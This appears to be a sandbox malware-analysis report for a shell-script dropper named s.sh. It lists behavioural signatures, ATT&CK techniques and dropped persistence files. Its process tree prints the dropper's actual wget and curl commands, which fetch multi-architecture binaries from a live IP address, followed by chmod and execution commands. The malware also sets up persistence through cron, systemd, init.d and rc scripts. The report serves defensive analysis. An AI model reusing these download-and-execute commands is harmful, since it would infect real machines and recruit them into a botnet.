Overview

overview

7

Static

static

1

s.sh

ubuntu-18.04-amd64

7

s.sh

debian-9-armhf

7

s.sh

debian-9-mips

7

s.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/11/2026, 00:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    s.sh
  • Size 4KB
  • Sample261102-af6wfadf74
  • SHA256 85bd43e942976b8a4ddcfe7ae22154f108139a509acb891f747d70e1cb4bac3d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmcredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 24 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 32 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 12 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates active TCP sockets 1 TTPs 11 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 12 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 29 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 24 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Write file to user bin folder 16 IoCs
    persistence
  • Modifies Bash startup script 2 TTPs 12 IoCs
    persistence
  • Reads process memory 1 TTPs 19 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Changes its process name 12 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 11 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/s.sh
    /tmp/s.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:655
    • /usr/bin/wget
      wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.x86
      2⤵
      • Writes file to tmp directory
      PID:657
    • /usr/bin/curl
      curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:678
    • /bin/cat
      cat MMaaRRiiOisecTanee.x86
      2⤵
        PID:684
      • /bin/chmod
        chmod +x MMaaRRiiOisecTanee.x86 lovers s.sh systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-aL5hFn
        2⤵
        • File and Directory Permissions Modification
        PID:685
      • /tmp/lovers
        ./lovers lover.ss
        2⤵
          PID:686
        • /usr/bin/wget
          wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:688
        • /usr/bin/curl
          curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.mips
          2⤵
          • Checks CPU configuration
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:689
        • /bin/cat
          cat MMaaRRiiOisecTanee.mips
          2⤵
          • System Network Configuration Discovery
          PID:690
        • /bin/chmod
          chmod +x MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.x86 lovers s.sh systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-aL5hFn
          2⤵
          • File and Directory Permissions Modification
          PID:691
        • /tmp/lovers
          ./lovers lover.ss
          2⤵
            PID:692
          • /usr/bin/wget
            wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.mpsl
            2⤵
            • Writes file to tmp directory
            PID:694
          • /usr/bin/curl
            curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.mpsl
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:695
          • /bin/cat
            cat MMaaRRiiOisecTanee.mpsl
            2⤵
              PID:699
            • /bin/chmod
              chmod +x MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 lovers s.sh systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-aL5hFn
              2⤵
              • File and Directory Permissions Modification
              PID:701
            • /tmp/lovers
              ./lovers lover.ss
              2⤵
                PID:703
              • /usr/bin/wget
                wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm
                2⤵
                • Writes file to tmp directory
                PID:705
              • /usr/bin/curl
                curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:714
              • /bin/cat
                cat MMaaRRiiOisecTanee.arm
                2⤵
                  PID:725
                • /bin/chmod
                  chmod +x MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 lovers s.sh systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-aL5hFn
                  2⤵
                  • File and Directory Permissions Modification
                  PID:727
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Creates/modifies Cron job
                  • Creates/modifies environment variables
                  • Modifies init.d
                  • Modifies rc script
                  • Modifies systemd
                  • Write file to user bin folder
                  • Modifies Bash startup script
                  • Changes its process name
                  PID:729
                • /usr/bin/wget
                  wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:736
                • /usr/bin/curl
                  curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm5
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:752
                • /bin/chmod
                  chmod +x MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 lovers s.sh systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-aL5hFn
                  2⤵
                  • File and Directory Permissions Modification
                  PID:757
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Creates/modifies Cron job
                  • Creates/modifies environment variables
                  • Enumerates active TCP sockets
                  • Modifies init.d
                  • Modifies rc script
                  • Modifies systemd
                  • Write file to user bin folder
                  • Modifies Bash startup script
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:758
                • /usr/bin/wget
                  wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm6
                  2⤵
                  • Writes file to tmp directory
                  PID:792
                • /usr/bin/curl
                  curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm6
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:795
                • /bin/chmod
                  chmod +x MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 lovers s.sh systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-aL5hFn
                  2⤵
                  • File and Directory Permissions Modification
                  PID:796
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Creates/modifies Cron job
                  • Creates/modifies environment variables
                  • Enumerates active TCP sockets
                  • Modifies init.d
                  • Modifies rc script
                  • Modifies systemd
                  • Write file to user bin folder
                  • Modifies Bash startup script
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:797
                • /usr/bin/wget
                  wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /usr/bin/curl
                  curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arm7
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:806
                • /bin/chmod
                  chmod +x MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 lovers s.sh systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-aL5hFn
                  2⤵
                  • File and Directory Permissions Modification
                  PID:807
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Creates/modifies Cron job
                  • Creates/modifies environment variables
                  • Enumerates active TCP sockets
                  • Modifies init.d
                  • Modifies rc script
                  • Modifies systemd
                  • Write file to user bin folder
                  • Modifies Bash startup script
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:808
                • /usr/bin/wget
                  wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:814
                • /usr/bin/curl
                  curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.ppc
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:817
                • /bin/chmod
                  chmod +x MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.x86 lovers s.sh systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-aL5hFn
                  2⤵
                  • File and Directory Permissions Modification
                  PID:818
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Creates/modifies Cron job
                  • Creates/modifies environment variables
                  • Enumerates active TCP sockets
                  • Modifies init.d
                  • Modifies rc script
                  • Modifies systemd
                  • Write file to user bin folder
                  • Modifies Bash startup script
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:819
                • /usr/bin/wget
                  wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.m68k
                  2⤵
                  • Writes file to tmp directory
                  PID:826
                • /usr/bin/curl
                  curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.m68k
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:829
                • /bin/chmod
                  chmod +x MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.x86 lovers s.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:830
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Creates/modifies Cron job
                  • Creates/modifies environment variables
                  • Enumerates active TCP sockets
                  • Modifies init.d
                  • Modifies rc script
                  • Modifies systemd
                  • Write file to user bin folder
                  • Modifies Bash startup script
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:831
                • /usr/bin/wget
                  wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.sh4
                  2⤵
                  • Writes file to tmp directory
                  PID:837
                • /usr/bin/curl
                  curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.sh4
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:840
                • /bin/chmod
                  chmod +x MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.x86 lovers s.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:841
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Creates/modifies Cron job
                  • Creates/modifies environment variables
                  • Enumerates active TCP sockets
                  • Modifies init.d
                  • Modifies rc script
                  • Modifies systemd
                  • Write file to user bin folder
                  • Modifies Bash startup script
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:842
                • /usr/bin/wget
                  wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.spc
                  2⤵
                  • Writes file to tmp directory
                  PID:847
                • /usr/bin/curl
                  curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.spc
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:851
                • /bin/chmod
                  chmod +x MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86 lovers s.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:852
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Creates/modifies Cron job
                  • Creates/modifies environment variables
                  • Enumerates active TCP sockets
                  • Modifies init.d
                  • Modifies rc script
                  • Modifies systemd
                  • Write file to user bin folder
                  • Modifies Bash startup script
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:853
                • /usr/bin/wget
                  wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arc
                  2⤵
                    PID:857
                  • /usr/bin/curl
                    curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.arc
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:860
                  • /bin/chmod
                    chmod +x MMaaRRiiOisecTanee.arc MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86 lovers s.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:861
                  • /tmp/lovers
                    ./lovers lover.ss
                    2⤵
                    • Modifies Watchdog functionality
                    • Creates/modifies Cron job
                    • Creates/modifies environment variables
                    • Enumerates active TCP sockets
                    • Modifies init.d
                    • Modifies rc script
                    • Modifies systemd
                    • Write file to user bin folder
                    • Modifies Bash startup script
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:862
                  • /usr/bin/wget
                    wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.x86_64
                    2⤵
                    • Writes file to tmp directory
                    PID:868
                  • /usr/bin/curl
                    curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.x86_64
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:871
                  • /bin/chmod
                    chmod +x MMaaRRiiOisecTanee.arc MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86 MMaaRRiiOisecTanee.x86_64 lovers s.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:872
                  • /tmp/lovers
                    ./lovers lover.ss
                    2⤵
                    • Modifies Watchdog functionality
                    • Creates/modifies Cron job
                    • Creates/modifies environment variables
                    • Enumerates active TCP sockets
                    • Modifies init.d
                    • Modifies rc script
                    • Modifies systemd
                    • Write file to user bin folder
                    • Modifies Bash startup script
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:873
                  • /usr/bin/wget
                    wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.i686
                    2⤵
                    • Writes file to tmp directory
                    PID:877
                  • /usr/bin/curl
                    curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.i686
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:881
                  • /bin/chmod
                    chmod +x MMaaRRiiOisecTanee.arc MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.i686 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86 MMaaRRiiOisecTanee.x86_64 lovers s.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:883
                  • /tmp/lovers
                    ./lovers lover.ss
                    2⤵
                    • Modifies Watchdog functionality
                    • Creates/modifies Cron job
                    • Creates/modifies environment variables
                    • Enumerates active TCP sockets
                    • Modifies init.d
                    • Modifies rc script
                    • Modifies systemd
                    • Write file to user bin folder
                    • Modifies Bash startup script
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:884
                  • /usr/bin/wget
                    wget http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.i486
                    2⤵
                    • Writes file to tmp directory
                    PID:889
                  • /usr/bin/curl
                    curl -O http://176.65.149.178/m4ng0d33w1771nnmnlove/MMaaRRiiOisecTanee.i486
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:892
                  • /bin/chmod
                    chmod +x MMaaRRiiOisecTanee.arc MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.i486 MMaaRRiiOisecTanee.i686 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86 MMaaRRiiOisecTanee.x86_64 lovers s.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:893
                  • /tmp/lovers
                    ./lovers lover.ss
                    2⤵
                    • Modifies Watchdog functionality
                    • Creates/modifies Cron job
                    • Creates/modifies environment variables
                    • Enumerates active TCP sockets
                    • Modifies init.d
                    • Modifies rc script
                    • Modifies systemd
                    • Write file to user bin folder
                    • Modifies Bash startup script
                    • Reads process memory
                    • Changes its process name
                    • Reads system network configuration
                    • Reads runtime system information
                    PID:894

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Persistence

                      Boot or Logon Autostart Execution

                      4
                      T1547

                      XDG Autostart Entries

                      1
                      T1547.013

                      Boot or Logon Initialization Scripts

                      2
                      T1037

                      RC Scripts

                      2
                      T1037.004

                      Create or Modify System Process

                      1
                      T1543

                      Systemd Service

                      1
                      T1543.002

                      Event Triggered Execution

                      1
                      T1546

                      Unix Shell Configuration Modification

                      1
                      T1546.004

                      Hijack Execution Flow

                      1
                      T1574

                      Path Interception by PATH Environment Variable

                      1
                      T1574.007

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      4
                      T1547

                      XDG Autostart Entries

                      1
                      T1547.013

                      Boot or Logon Initialization Scripts

                      2
                      T1037

                      RC Scripts

                      2
                      T1037.004

                      Create or Modify System Process

                      1
                      T1543

                      Systemd Service

                      1
                      T1543.002

                      Event Triggered Execution

                      1
                      T1546

                      Unix Shell Configuration Modification

                      1
                      T1546.004

                      Hijack Execution Flow

                      1
                      T1574

                      Path Interception by PATH Environment Variable

                      1
                      T1574.007

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Defense Evasion

                      File and Directory Permissions Modification

                      1
                      T1222

                      Linux and Mac File and Directory Permissions Modification

                      1
                      T1222.002

                      Hijack Execution Flow

                      1
                      T1574

                      Path Interception by PATH Environment Variable

                      1
                      T1574.007

                      Impair Defenses

                      1
                      T1562

                      Virtualization/Sandbox Evasion

                      1
                      T1497

                      System Checks

                      1
                      T1497.001

                      Credential Access

                      OS Credential Dumping

                      1
                      T1003

                      Proc Filesystem

                      1
                      T1003.007

                      Discovery

                      System Network Configuration Discovery

                      2
                      T1016

                      Internet Connection Discovery

                      1
                      T1016.001

                      System Network Connections Discovery

                      1
                      T1049

                      Virtualization/Sandbox Evasion

                      1
                      T1497

                      System Checks

                      1
                      T1497.001

                      Lateral Movement

                      Collection

                      Command and Control

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      systemd-update
                      • Path /etc/cron.d/systemd-update
                      • Size 139B
                      • SHA256 7adc6f29c96e94832bfb59a032e4ae612a9a3018b3ce4b7f1fc8b02ba104e16a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      systemd-update
                      • Path /etc/cron.d/systemd-update
                      • Size 145B
                      • SHA256 2f466ec9c85be81f50474cc16f47c58ee75d35e042424e4cb22d63c531af2ac9
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      systemd-update
                      • Path /etc/init.d/systemd-update
                      • Size 449B
                      • SHA256 9bf72b58c580ddfea9c06e78242f5bef712a02f2168ddbbdba24346a691c9d02
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      systemd-update.sh
                      • Path /etc/profile.d/systemd-update.sh
                      • Size 96B
                      • SHA256 102e662616d187a077e0bb11d9f783358765b70c47c85aadfb162a348f1b9006
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      S99systemd-update
                      • Path /etc/rc3.d/S99systemd-update
                      • Size 86B
                      • SHA256 902739bef51db1017a3010d5ecf9ae9c5696c51afac05b7d98acf41638fb28dc
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      systemd-update.service
                      • Path /etc/systemd/system/systemd-update.service
                      • Size 194B
                      • SHA256 e2e271543855504eefcce8105ef01fb452f09f9949ab7fc13b51ff4596ffc63b
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      MMaaRRiiOisecTanee.x86
                      • Path /tmp/MMaaRRiiOisecTanee.x86
                      • Size 1.0MB
                      • SHA256 12a3e4627d71010ce0ad47ca9d560e31e2fd3be45b57aaf80b27a2625038bfe0
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      lovers
                      • Path /tmp/lovers
                      • Size 891KB
                      • SHA256 966f4f50d8e72e650aaaab78dd4ac135bb7ff74cbc565480bb6125487f9548d6
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      lovers
                      • Path /tmp/lovers
                      • Size 891KB
                      • SHA256 b806a003a2336e1fa9fbcc6290886a5d51cd721dee03915dad7d821dc7b586a5
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      lovers
                      • Path /tmp/lovers
                      • Size 804KB
                      • SHA256 bd9c60ceeb0b5a049a5330998cf50c8dc2a89cacf704b3df88257f4714e5d2ab
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      systemd-update-wd
                      • Path /usr/bin/systemd-update-wd
                      • Size 193B
                      • SHA256 273856f3e8755125a67f99380261d8c0bc68ff41f195d272409240ad0b33cdc4
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      systemd-update-wd
                      • Path /usr/bin/systemd-update-wd
                      • Size 190B
                      • SHA256 d0fa57a94d5d953cdddb407f0edcf02efaa6f46228050703119730f9999b0030
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      root
                      • Path /var/spool/cron/crontabs/root
                      • Size 43B
                      • SHA256 08f463f1c9d75736b29b5462b08d0b34e50b3f903bc3fd526bad155891926c3b
                      • MD5 SHA1 SHA512
                      Submit Download

                      root
                      • Path /var/spool/cron/crontabs/root
                      • Size 89B
                      • SHA256 aba1fbd951db3d0cc441d030b561416b63f48af7d69c2830ba333c89aa4445a7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      root
                      • Path /var/spool/cron/root
                      • Size 89B
                      • SHA256 ba59b9beebc19a047b2ae5fc13fe06f933bc7b98a0cf4c25f66254640e2c333e
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download